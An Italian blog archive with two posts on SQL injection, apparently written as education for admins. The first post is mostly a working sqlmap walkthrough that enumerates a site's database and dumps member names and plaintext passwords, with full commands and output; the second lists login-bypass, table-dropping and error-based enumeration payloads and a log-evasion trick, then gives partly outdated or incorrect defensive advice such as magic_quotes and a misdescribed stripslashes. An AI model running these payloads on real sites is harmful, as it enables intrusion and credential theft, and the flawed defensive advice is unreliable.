Archivi tag: sql injection

Individuare eventuali vulnerabilità SQLi sul nostro sito mediante sqlmap

Premessa

Questa piccola guida ha come scopo principale quello di istruire eventuali sistemisti/DBA/developer su come testare la robustezza del proprio server/applicativo contro gli attacchi basati sull’SQL injection.

sqlmap

Un tool abbastanza semplice da utilizzare per effettuare questo tipo di test prende il nome di sqlmap.

sqlmap

Ecco quali sono gli step che ho seguito per “dumpare” il contenuto di un database mySQL presente dietro un portale Web “bacato”:

C:\UserseldoDesktopsqlmap>sqlmap.py -u http://vulnsite.it/view_book.php?id=1

sqlmap/0.9-dev - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

[*] starting at: 08:05:07

[08:05:07] [INFO] using 'C:UserseldoDesktopsqlmapoutputvulnsite.itsession' as session file
[08:05:07] [INFO] testing connection to the target url
[08:05:08] [INFO] testing if the url is stable, wait a few seconds
[08:05:10] [INFO] url is stable
[08:05:10] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
[08:05:11] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[08:05:11] [INFO] testing if GET parameter 'id' is dynamic
[08:05:12] [INFO] confirming that GET parameter 'id' is dynamic
[08:05:13] [INFO] GET parameter 'id' is dynamic
[08:05:13] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis

[08:05:13] [INFO] testing unescaped numeric injection on GET parameter 'id'
[08:05:14] [INFO] confirming unescaped numeric injection on GET parameter 'id'
[08:05:14] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 pare
nthesis
[08:05:14] [INFO] testing for parenthesis on injectable parameter
[08:05:16] [INFO] the injectable parameter requires 0 parenthesis
[08:05:16] [INFO] testing MySQL
[08:05:17] [INFO] confirming MySQL
[08:05:18] [INFO] retrieved: 3
[08:05:23] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.3.3, ASP.NET
back-end DBMS: MySQL >= 5.0.0

[*] shutting down at: 08:05:23

Una volta constatato che il portale è vulnerabile, procedo con l'enumerazione dei DBMS:

C:UserseldoDesktopsqlmap>sqlmap.py -u http://vulnsite.it/view_book.php?id=1 --dbs

    sqlmap/0.9-dev - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

[*] starting at: 08:06:20

[08:06:20] [INFO] using 'C:UserseldoDesktopsqlmapoutputs12447-15xnnvzre.ro
ma.coliseumlab.netsession' as session file
[08:06:20] [INFO] resuming match ratio '0.946' from session file
[08:06:20] [INFO] resuming injection point 'GET' from session file
[08:06:20] [INFO] resuming injection parameter 'id' from session file
[08:06:20] [INFO] resuming injection type 'numeric' from session file
[08:06:20] [INFO] resuming 0 number of parenthesis from session file
[08:06:20] [INFO] resuming back-end DBMS 'mysql 5' from session file
[08:06:20] [INFO] testing connection to the target url
[08:06:20] [INFO] testing for parenthesis on injectable parameter
[08:06:20] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.3.3, ASP.NET
back-end DBMS: MySQL 5

[08:06:20] [INFO] fetching database names
[08:06:20] [INFO] fetching number of databases
[08:06:20] [INFO] retrieved: 2
[08:06:25] [INFO] retrieved: information_schema
[08:08:05] [INFO] retrieved: 12447_15_1
available databases [2]:
[*] 12447_15_1
[*] information_schema

[08:09:04] [INFO] Fetched data logged to text files under 'C:UserseldoDesktop
sqlmapoutputvulnsite.it'

[*] shutting down at: 08:09:04

Uso come target il DB 12447_15_1 e procedo con l'enumerazione delle tabelle:

C:UserseldoDesktopsqlmap>sqlmap.py -u http://vulnsite.it/view_book.php?id=1 -D 12447_15_1 --tables

    sqlmap/0.9-dev - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

[*] starting at: 08:06:20

[08:12:07] [INFO] using 'C:UserseldoDesktopsqlmapoutputvulnsite.itsession' as session file
[08:12:07] [INFO] resuming match ratio '0.946' from session file
[08:12:07] [INFO] resuming injection point 'GET' from session file
[08:12:07] [INFO] resuming injection parameter 'id' from session file
[08:12:07] [INFO] resuming injection type 'numeric' from session file
[08:12:07] [INFO] resuming 0 number of parenthesis from session file
[08:12:07] [INFO] resuming back-end DBMS 'mysql 5' from session file
[08:12:07] [INFO] testing connection to the target url
[08:12:08] [INFO] testing for parenthesis on injectable parameter
[08:12:08] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.3.3, ASP.NET
back-end DBMS: MySQL 5

[08:12:08] [INFO] fetching tables for database '12447_15_1'
[08:12:08] [INFO] fetching number of tables for database '12447_15_1'
[08:12:08] [INFO] retrieved: 2
[08:12:13] [INFO] retrieved: books
[08:12:41] [INFO] retrieved: club_members
Database: 12447_15_1
[2 tables]
+--------------+
| books        |
| club_members |
+--------------+

[08:13:43] [INFO] Fetched data logged to text files under 'C:UserseldoDesktop
sqlmapoutputvulnsite.it'

[*] shutting down at: 08:13:43

Adesso procedo con l'enumerazione delle colonne relative alla tabella club_members:

C:UserseldoDesktopsqlmap>sqlmap.py -u http://vulnsite.it/view_book.php?id=1 -D 12447_15_1 -T club_members --columns

    sqlmap/0.9-dev - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

[*] starting at: 08:21:36

[08:21:36] [INFO] using 'C:UserseldoDesktopsqlmapoutputs12447-15xnnvzre.ro
ma.coliseumlab.netsession' as session file
[08:21:36] [INFO] resuming match ratio '0.946' from session file
[08:21:36] [INFO] resuming injection point 'GET' from session file
[08:21:36] [INFO] resuming injection parameter 'id' from session file
[08:21:36] [INFO] resuming injection type 'numeric' from session file
[08:21:36] [INFO] resuming 0 number of parenthesis from session file
[08:21:36] [INFO] resuming back-end DBMS 'mysql 5' from session file
[08:21:36] [INFO] testing connection to the target url
[08:21:37] [INFO] testing for parenthesis on injectable parameter
[08:21:37] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.3.3, ASP.NET
back-end DBMS: MySQL 5

[08:21:37] [INFO] fetching columns for table 'club_members' on database '12447_1
5_1'
[08:21:37] [INFO] fetching number of columns for table 'club_members' on databas
e '12447_15_1'
[08:21:37] [INFO] retrieved: 6
[08:21:42] [INFO] retrieved: id
[08:21:56] [INFO] retrieved: mediumint(8) unsigned
[08:23:46] [INFO] retrieved: name
[08:24:13] [INFO] retrieved: varchar(255)
[08:25:21] [INFO] retrieved: city
[08:25:46] [INFO] retrieved: varchar(50)
[08:26:47] [INFO] retrieved: zip
[08:27:06] [INFO] retrieved: varchar(10)
[08:28:04] [INFO] retrieved: username
[08:28:53] [INFO] retrieved: varchar(255)
[08:29:57] [INFO] retrieved: password
[08:30:47] [INFO] retrieved: varchar(255)
Database: 12447_15_1
Table: club_members
[6 columns]
+----------+-----------------------+
| Column   | Type                  |
+----------+-----------------------+
| city     | varchar(50)           |
| id       | mediumint(8) unsigned |
| name     | varchar(255)          |
| password | varchar(255)          |
| username | varchar(255)          |
| zip      | varchar(10)           |
+----------+-----------------------+

[08:31:51] [INFO] Fetched data logged to text files under 'C:UserseldoDesktop
sqlmapoutputvulnsite.it'

[*] shutting down at: 08:31:51

Infine, poichè ora conosco la struttura della tabella, posso effettuare il dump dei campi che mi interessano, ovvero name e password:

C:UserseldoDesktopsqlmap>sqlmap.py -u http://vulnsite.it/view_book.php?id=1 -D 12447_15_1 -T club_members -C name,password --dump

    sqlmap/0.9-dev - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

[*] starting at: 08:39:44

[08:39:44] [INFO] using 'C:UserseldoDesktopsqlmapoutputs12447-15xnnvzre.ro
ma.coliseumlab.netsession' as session file
[08:39:44] [INFO] resuming match ratio '0.946' from session file
[08:39:44] [INFO] resuming injection point 'GET' from session file
[08:39:44] [INFO] resuming injection parameter 'id' from session file
[08:39:44] [INFO] resuming injection type 'numeric' from session file
[08:39:44] [INFO] resuming 0 number of parenthesis from session file
[08:39:44] [INFO] resuming back-end DBMS 'mysql 5' from session file
[08:39:44] [INFO] testing connection to the target url
[08:39:45] [INFO] testing for parenthesis on injectable parameter
[08:39:45] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.3.3, ASP.NET
back-end DBMS: MySQL 5

[08:39:45] [INFO] fetching columns 'name, password' entries for table 'club_memb
ers' on database '12447_15_1'
[08:39:45] [INFO] fetching number of columns 'name, password' entries for table
'club_members' on database '12447_15_1'
[08:39:45] [INFO] read from file 'C:UserseldoDesktopsqlmapoutputs12447-15x
nnvzre.roma.coliseumlab.netsession': 30
[08:39:45] [INFO] retrieved: Ignacia
[08:40:23] [INFO] read from file 'C:UserseldoDesktopsqlmapoutputs12447-15x
nnvzre.roma.coliseumlab.netsession': AYM91SVH8JL
[08:40:23] [INFO] retrieved: Isaac
[08:40:51] [INFO] retrieving the length of query output
[08:40:51] [INFO] retrieved: 11
[08:41:06] [INFO] resumed from file 'C:UserseldoDesktopsqlmapoutputs12447-
15xnnvzre.roma.coliseumlab.netsession': WVJ39RFZ...
[08:41:06] [INFO] retrieving pending 3 query output characters
[08:41:25] [INFO] retrieved: Roth
[08:41:50] [INFO] retrieved: PRK18UOR6YA
[08:42:51] [INFO] retrieved: Laurel
[08:43:24] [INFO] retrieved: RKS21YTS6EV
[08:44:27] [INFO] retrieved: Ina
[08:44:47] [INFO] retrieved: HHQ64HDD7VJ
[08:45:50] [INFO] retrieved: Samantha
[08:46:33] [INFO] retrieved: BAA37FRB5IR
[08:47:30] [INFO] retrieved: Walter
[08:48:04] [INFO] retrieved: AQD75ZVP9WA
[08:49:02] [INFO] retrieved: Petra
[08:49:31] [INFO] retrieved: BAI67DMT7PN
[08:50:29] [INFO] retrieved: Fleur
[08:50:58] [INFO] retrieved: PJE89BUA1DP
[08:51:58] [INFO] retrieved: Rowan
[08:52:30] [INFO] retrieved: FCY82VKV1PS
[08:53:29] [INFO] retrieved: Cairo
[08:53:59] [INFO] retrieved: GGT75OJT6IO
[08:54:57] [INFO] retrieved: Ruud
[08:55:23] [INFO] retrieved: 166648
[08:55:58] [INFO] retrieved: Cheryl
[08:56:33] [INFO] retrieved: WJI80JKK9XQ
[08:57:30] [INFO] retrieved: Olivia
[08:58:03] [INFO] retrieved: PMO19LFU8OP
[08:59:00] [INFO] retrieved: Sara
[08:59:24] [INFO] retrieved: UHE33ZHA4VD
[09:00:22] [INFO] retrieved: Hermione
[09:01:04] [INFO] retrieved: AHW26AKK3PT
[09:02:01] [INFO] retrieved: Jingo
[09:02:30] [INFO] retrieved: KFV13NWK8SR
[09:03:27] [INFO] retrieved: Ingrid
[09:04:01] [INFO] retrieved: GSR33YLT1GY
[09:04:59] [INFO] retrieved: Kay
[09:05:19] [INFO] retrieved: MZO03VPQ5GA
[09:06:17] [INFO] retrieved: Stone
[09:06:47] [INFO] retrieved: JCD09KIK3XN
[09:07:46] [INFO] retrieved: Quinn
[09:08:15] [INFO] retrieved: IRC74DPU2TU
[09:09:13] [INFO] retrieved: Castor
[09:09:48] [INFO] retrieved: DCA08WQE5SW
[09:10:46] [INFO] retrieved: Wyoming
[09:11:25] [INFO] retrieved: XFL08LPA5QA
[09:12:24] [INFO] retrieved: Harlan
[09:12:58] [INFO] retrieved: HOO93MSH6EK

Per fortuna le password sono salvate in chiaro (e non sottoforma di HASH), dunque “rubarle” è stato un gioco da ragazzi.

Fine del post, a presto.

SQL injection: cos’è e come prevenirlo

Una delle tecniche maggiormante utilizzate negli ultimi anni, che può portare a conseguenze a dir poco devastanti, è l’SQL injection. Gli unici siti che soffrono tale tipologia di attacco sono quelli dinamici, ovvero contenenti scrip lato server (PHP, ASP, JSP, ecc.) per la gestione delle informazioni e per l’inoltro delle interrogazioni al DBMS (Oracle, MySQL, SQLserver e molti altri).

L’SQL injection basa il suo funzionamento sulla costruzione di query “anomale” che se non opportunamente filtrate consentono all’utente malevolo di ottenere i privilegi di amministratore, oppure di accedere al sito senza possedere le credenziali necessarie per il login, o ancora di alterare il contenuto del database ed in alcuni casi del sito stesso (defacing), fino ad arrivare all’hacking della macchina su cui è in esecuzione il DBMS.

Ma facciamo un esempio pratico. Supponiamo di collegarci ad un sito in cui è presente un pannello di gestione dedicato all’admin. A tale pannello ci si può accedere inserendo username e password opportuni. Qui entra in gioco l’SQL injection: attraverso delle stringhe costruite ad hoc posso indurre in errore il sistema di autenticazione, ottenendo l’accesso abusivo alla pagina di amministrazione. Una stringa che potrei inserire nel campo username è la seguente:

'

Si, avete letto bene. Si tratta semplicemente di un apice, il quale viene utilizzato per delimitare il nome della variabile passata al server (ovvero il nome utente). E la password? Non ci serve, poichè se lo scrip ed il DBMS sono vulnerabili avremo già ottenuto l’accesso al pannello di amministrazione. Nel caso in cui tale stringa non produca i risultati sperati si potrebbe usare come username e come password = .

Un altro tipo di stringa usata frequentemente nell’ambito di questo attacco è la seguente:

' OR 'x' = 'x

da inserire sempre nel campo username. Con il primo apice non facciamo altro che delimitare il nome della (presunta) variabile passata al server, mentre con ‘x’ = ‘x indico una condizione sempre vera (non ho inserito appositamente l’ultimo apice in quanto viene aggiunto automaticamente dal DBMS all’interno dell’interrogazione). Ma il vero punto di forza di tale stringa sta nell’OR: tale operatore logico fa in modo che nel caso in cui non venga rispettata la prima condizione, si passi direttamente alla seconda (sempre vera), ottenendo l’accesso.

Un’altra query interessante è la seguente:

' OR 0=0 --

In questo caso non è stato necessario inserire lo 0 tra due apici in quanto non si tratta di una stringa ma di un valore numerico. Per il resto la sintassi è identica a quella dell’interrogazione precedentemente esaminata, eccezion fatta per i due trattini posti alla fine, ovvero . Questi due trattini hanno come scopo quello di portare il DBMS ad ignorare tutto ciò che è presente dopo la seguente istruzione. 

Inoltre, è necessario fare attenzione alle cosiddette query multiple (intervallate dal ;). Eccone un esempio:

 1; DROP TABLE users

In questo modo si riuscirà a cancellare la tabella “users”, in quanto il DBMS interpreterà tale stringa come:

SELECT * FROM DATA WHERE id=1;DROP TABLE users;

Ovviamente le query malevole che possono essere “iniettate” al DBMS sono tantissime, cercate un pò sul Web e ne troverete a migliaia.

Arrivati a questo punto credo sia necessario accennare ad una particolare variante di SQL injection, cioè il blind SQL injection. Questo attacco viene perpetrato contro i database di cui non si conosce la struttura (ad esempio il nome delle tabelle oppure i campi relativi ad esse), e sfrutta gli eventuali messaggi di debug che manda in output il server nel momento in cui viene riscontrata la presenza di un qualche tipo di errore. Basta quindi creare le condizioni adatte affinchè si manifesti l’errore (usando query malformed) per capire qual è la “fisionomia” della base di dati oggetto del nostro attacco. Ecco un esempio:

Obiettivo: Trovare il nome della tabella e della prima colonna
Comando: ‘ having 0=0–
Risultato: Column ‘members.UserID’ is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

Obiettivo: Trovare il nome della colonna successiva
Comando: ‘ group by members.UserID having 0=0–
Risultato: Column ‘members.Password’ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

Obiettivo: Estrarre i nomi di tutte le colonne successive
Comando: ‘ group by members.UserID, members.Password having 0=0 —
Risultato: Column ‘members.FirstName’ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

Possiamo ripetere questo attacco andando ad inserire il nome della tabella visualizzato nel messaggio di errore immediatamente precedente, fino a quando il server non invierà più notifiche di questo tipo. A questo punto il gioco è fatto: la struttura del database non ha più segreti 🙂

Ah quasi dimenticavo… per MS SQLserver esiste un comando, ovvero sp-password, il quale fa in modo che la query malformed non venga salvata all’interno del file di log. Inoltre, questo server fa ampio uso di Transact SQL (altrimenti conosciuto con l’acronimo T-SQL), che è il “dialetto” mediante al quale vengono costruite moltissime interrogazioni malevole. Per questi (ed altri) motivi, a mio avviso SQLserver è uno dei DBMS più vulnerabili in circolazione.

A questo punto credo si possa parlare dei metodi grazie ai quali è possibile prevenire (o per lo meno limitare) gli effetti di un attacco di questo genere. Per prima cosa occorre scegliere un DBMS poco vulnerabile (ad esempio MySQL). Dopodichè è necessario prestare molta attenzione (a livello di scrip) alla cosiddetta validazione dell’input. Se ad esempio il server si aspetta un numero, è necessario controllare che tale variabile sia effettivamente di tipo numerico. Inoltre si deve evitare che all’interno della query vengano inseriti i cosiddetti caratteri speciali, quali , , #, ecc. , che potrebbero mandare il DBMS “in confusione”. A tal scopo esistono alcune funzioni che i linguaggi di scripting, quali PHP, ci mettono a disposizione. Una di queste è mysql_real_escape_string(), ed è utilizzabile quando ad interfacciarsi con il nostro scrip è un server MySQL. Essa non fa altro che aggiungere automaticamente un carattere di “escape” (ovvero il backslash) davanti ad alcuni caratteri, quali backslah x00, backslash n, backslash “ e così via. In tal modo si rende “immune” all’SQL injection l’argomento da passare alla funzione mysql_query() (che invierà l’interrogazione vera e propria).

Un’altra funzione che può tornare utile è stripslashes(). Essa aggiunge un escape davanti a tutti i , , e Null. Si potrebbe evitare di usarla semplicemente andando ad impostare correttamente il file di configurazione di PHP, cioè php.ini: basta abilitare l’opzione magic_quotes_gpc (dove gpc sta per GET, POST E Cookie).

Si potrebbe anche (in teoria) eliminare a priori gli apici (anche se questa soluzione è molto limitativa), oppure li si potrebbe raddoppiare. Si potrebbe anche effettuare un controllo delle stringhe passate al DBMS attraverso delle espressioni regolari, altrimenti dette Regex. Un’altra valida soluzione consiste nell’usare una whitelist, ovvero un insieme di stringhe ammissibili e considerate non malevole. Inoltre, per evitare il blind SQL injection, si potrebbero disabilitare i messaggi di debug (sempre via php.ini) oppure utilizzare opportunamente l’operatore di silence (@) messo a disposizione da PHP. Per quanto riguarda le query multiple, invece, conviene sempre disabilitarle (per ovvie ragioni di sicurezza).

Ricordatevi comunque di tenere sempre aggiornato il DBMS ed il server, installando le eventuali patch, e controllate che il sistema di gestione del database non abbia privilegi elevati, in quanto un hacker, ottenendone il controllo, potrebbe compromettere la sicurezza dell’intera macchina. 

Concludo questo post (redatto a titolo informativo) mettendovi in guardia sul fatto che il solo TENTATIVO di accesso abusivo ad un sito (oppure ad un sistema telematico in genere) è considerato reato penale. Quindi se proprio volete fare dei test, fateli sui vostri server per saggiarne la robustezza. Come si dice… uomo avvisato mezzo salvato :). A presto.